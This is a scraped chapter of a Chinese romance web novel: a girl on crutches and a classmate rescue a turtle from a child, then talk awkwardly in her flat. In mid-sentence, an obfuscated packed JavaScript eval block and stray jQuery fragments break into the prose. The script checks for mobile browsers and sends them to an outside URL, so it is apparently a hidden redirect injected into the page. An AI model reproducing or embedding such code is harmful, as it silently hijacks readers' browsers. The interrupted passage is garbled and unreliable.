9. 偶遇

作品:《共轨[破镜重圆]

    什么跟什么。


    周末已经过去,周日下午补课,临出门前,孟知卿又想起那晚的话。


    他先感性,他喜欢。


    但他又说不要在上头的时候做决定,生气算不算上头。


    还说感性做不得数,那那告白做不做数。


    啊啊啊啊啊啊啊。


    想一周末了,脑子都想冒烟了。


    孟知卿狠狠带上门,杵拐杖下楼。


    梧桐苑属于CBD周边中高端小区,物业管理比较好,坐电梯,出单元楼,出小区都需要刷卡,小区正中心的景观区里甚至还集了个泳池一样的池子。


    水很浅,四周贴着浅蓝色方块瓷砖,每晚回家都能瞧见几个小小朋友在里头拍水玩,还放养了两只小乌龟。


    孟知卿往里头瞥一眼,一个小男孩正拿塑料挖沙铲子拍乌龟脑袋,不让它探头。


    “瘸子姐姐好。”小男孩见了她打声招呼,“瘸子姐姐坏,瘸子姐姐长得像个丑八怪。”


    孟知卿:“……”


    她昨晚一定是闲得没事才有电视不看,有手机不玩,说要下楼冷静冷静。


    路灯下几个小朋友围着乌龟玩,她就去瞄了一眼,“龟兔赛跑谁跑得快。”


    脑子瓦特了问出这么一句,觉得对小朋友来说相当难的考题。


    很明显那几个小朋友一脸看傻子地看了看她,然后带着乌龟离远了。


    “……”


    “我认识奥特曼。”


    她想起网上专治小屁孩的帖子,“赛罗跟我是朋友。”


    几个小男孩当即抬了头,“那你认识盖伦吗。”


    “盖伦?盖伦奥特曼,我也认识。”


    那几个笑了起来,指着她的脚,“那你脚是怪兽咬的吗,盖伦怎么不去救你。”


    孟知卿:“……”


    什么跟什么。


    觉得没意思就走远了,再绕回来却听他们,“根本就没有盖伦奥特曼,还吹牛说认识塞罗,她那脚肯定是说谎被雷劈的。”


    “……”


    然后就被他们编了一首儿歌,一直念叨一直念叨,直到她受不了又插不上话,捂着耳朵上楼才算完。


    “没,”礼貌。


    “一小来的吧,”一道男声打断她,“乔老师在检查作业,你写完了?”


    是宋聿。


    穿着简单的灰黑色T恤,同色系运动裤。


    “骗人,”小男孩站起来,“乔老师从来不星期天检查作业。”


    下头的乌龟仿佛感受到有人在救自己,伸了爪就往前爬。


    小男孩余光瞥到了,又用铲子勾回来,“乔老师就不会星期天检查作业,骗子。”


    “我跟他认识,让他查了,”宋聿走近,一抬脚跳进池子里,水花四溅,“呀你衣服湿了,”


    捡起乌龟边离开边道,“回家不回被妈妈揍吧。”


    小男孩脸气红了,“还给我!那是我的乌龟!”


    “怎么证明,”宋聿把乌龟放到手心,还没他半个巴掌大,“叫你妈过来证明一下。”


    小男孩:“……”


    如果他妈妈给养,就不会放到小区池子里,既然不给养,自然也不给玩,更不会证明。


    “就是我的,还给我,”他冲过来,伸手就抢。


    一不小心碰了孟知卿,孟知卿直接放拐杖往地上一坐,“哎呀你撞到我了,好疼啊,好疼啊。”


    说着埋起脑袋假哭,呜呜呜地还时不时揉两下眼睛。


    “就是我的乌龟,你们这么大还抢小孩东西,”


    小男孩哪见过这场面,吓得连铲子都来不及捡,“不要脸,”


    边跑边喊,“等我下次找我朋友,你们等着,你们完了。”


    宋聿直接笑出一声。


    也不知道笑小男孩的话,还是笑地上假哭的孟知卿。


    他没说话,烈阳与蝉鸣,地上滚烫他好半晌都没说话。


    孟知卿怪异地抬起头,正对上他冷淡无波无澜的视线。


    还是没说话,甚至没有要拉她起来的意思。


    “……”


    孟知卿自己爬起来。边爬边瞥隔壁的人在想他会不会觉得自己姿势太丑。


    但不丑又确实爬不起来,丑就丑吧。


    她先翻过身扒到地上,再撅着屁股撑胳膊起身,捡拐杖,拍屁股,前几天做什么事都刻意到不能再刻意拿捏的高贵感在此荡然无存。


    “你怎么在这。”


    她冷冷问。


    “需要跟您报备。”


    宋聿冷冷答。


    孟知卿:“……”


    “那倒没必要,”再拍两下屁股,将衬衫也扯平,“才十二点就去上课了?”


    “你不也是。”


    小乌龟在他掌心爬啊爬怎么也爬不出去,孟知卿:“……”


    说话一定要这么刺。


    “准备怎么处理。”指指他掌心。


    “你觉得?”


    孟知卿:“……总不能扔了吧。”


    “嗯。”


    “……”


    “……”


    “……那我养吧。”


    这人恐怕就等她这句,话音才落就把手递了过来。


    “……”


    “那我现在还得上楼。”有点为难,她刚下来,还准备去便利店,啊不,如果宋聿在兼职的话就是去菜市场买点东西,凑顿午饭。


    “那什么意思,”宋聿盯着她,“是要我送上去?”


    她有这个意思?


    “行啊,送。”


    孟知卿:“?”


    一路破天荒地被搀着,孟知卿左右脚都不知道该先迈哪个。


    “我一个人住,家里没人,”上了电梯她刷卡摁亮顶层,“原先房东也没装修什么,可能会有点简陋。”


    “嗯。”


    宋聿靠在电梯拐角,整个人显得硕长。


    少年漫不经心确实让人挪不开眼。


    “到了,不用换鞋,”电梯门一开就是外玄关,放了个扩散香,清冽的柑橘味道。


    “进来吧。”


    孟知卿开门示意他,里头是简约的两房一厅一卫。


    其实不算简陋,就是装修简洁然后又有一些年头了而已。


    “养在哪。”宋聿并没有多打量,停在门口问,好像上来就只是送乌龟,并无其他。


    “先放卫生间吧。”孟知卿却不能以反正来了立刻就走的道理对待他,被妈妈一而再再而三教育了,来了客人要倒茶,哪怕人只停留一秒钟,你杯子都没拿好就走了,也得有这个意思。


    是最基本的礼貌。


    “喝雪碧还是可乐。”


    她上星期在罗森买的饮料还没喝,直接从冰箱拿出来,也省得找杯子了。


    “可乐吧,我喝雪碧。”


    她喜欢喝雪碧,并且刚刚顶着太阳晒,这会儿也觉得有些口干舌燥。


    “孟知卿,”


    宋聿不知道什么时候到了她身后,无声无息,“卫生间是不是该收拾一下。”


    孟知卿:“嗯?”


    将可乐递过去,掠过他半红的耳尖往卫生间去。


    “啊,我,”两条内衣一次性泡在洗手池


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830476|158947||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,泡发了鼓出一个包。


    “这不是,那,不是,我,”干脆关上卫生间门,“没来得及洗,现在洗。”


    放弃挣扎,省得又被人说不真实,一个星期期限未至,总该有始有终。


    烧着脸搓完出来,宋聿正坐在客厅的沙发上,一手捏着可乐罐时不时喝一口,喝了一口又不咽,鼓在嘴里戳小乌龟的乌龟壳。


    “咳,”


    孟知卿咳嗽一声,把内衣背到身后,“你随意啊,我,我先,”


    也没说出个所以然来,不过好在宋聿只抬眼瞧了她一下就再没抬头。


    大概半分多钟她才挪到阳台,而后就听宋聿,“乌龟养哪。”


    很急的样子,仿佛安置了立刻要走。


    “就先放卫生间地上吧,”孟知卿凉完内衣进来,“地方大它乐意爬,关上门不让它出来就行。”


    宋聿没应,但捏着乌龟去了。


    “所以你为什么会出现在这?”


    孟知卿还是没忍住问了,CBD福利院在学校拐弯那头,他如果兼职就应该在罗森,不兼职也不会在这。


    “跟踪你。”


    宋聿关了门随口应一句。


    孟知卿:“?”


    “你,怎么可能,”想说你有这种癖好,但怎么都不可能。


    “是啊,怎么可能。”


    宋聿出来时顺便抽了两张纸,此刻不紧不慢地一根指弯一根指弯地擦,边擦边看向她,“有事呗。”


    孟知卿:“……”


    讲句实在话,这人开学那几天对她热得恨不得把心都掏出来,又是“我是你的了”“我现在只在乎她”什么“我们给彼此一星期时间,不多,就一星期,再了解了解”。


    现在变得问一句答半句,剩下半句只当没听见,要么不回,要么回个冻死人的眼神,真的非常不习惯。


    “对不起。”


    她觉得她该说这句对不起,并且早就该说了。


    “是我没控制住感性给你造成了误会,误会产生也不及时解释,看着你一步步踩进坑反而旁观看戏,最后却同旁人说开始就是误会,背地里下你面子。”


    这么一说来,她简直不是人。


    她怎么能这样,为什么知道是误会却不解释,为什么不解释。


    “因为你也期待,”


    宋聿开口,将纸揉成一团丢进一旁的垃圾桶,“你也想知道我还能说出什么骇人听闻的话,你想看热闹。”


    “不是。”


    孟知卿看着越来越近的他,“绝对不是。”


    她绝对没有看热闹的意思,甚至认同期待的观点,她也沉浸其中。


    “我是什么性格,”


    走近了,宋聿停住,虽然神色依旧冷淡,但还是伸手拨开斜在她脸上的发丝,“具体说说。”


    “啊,”孟知卿胸口又软了,每回他靠近她心都要软上一回,顺带着浑身发软,眼球灼热。


    “……不知道。”


    根本想不起来该怎么形容,甚至这一刻,在他动作轻轻柔柔的时候,觉得他就是个温驯柔软的人。


    “那你喜欢什么性格。”宋聿又问。


    孟知卿看着他,很近很近,连他眼尾的褐色斑纹都看得清清楚楚,像一道不成形状的闪电,直往人心里戳。


    “也不知道。”她不知道自己喜欢什么样的性格,什么样的性格她应该喜欢,她大概会遵从内心,心说喜欢就喜欢,心说心动就心动。


    “不要用这种眼神看着我,孟知卿,”


    宋聿忽然捏她下颌静静瞧着,“你是我会喜欢的性格。”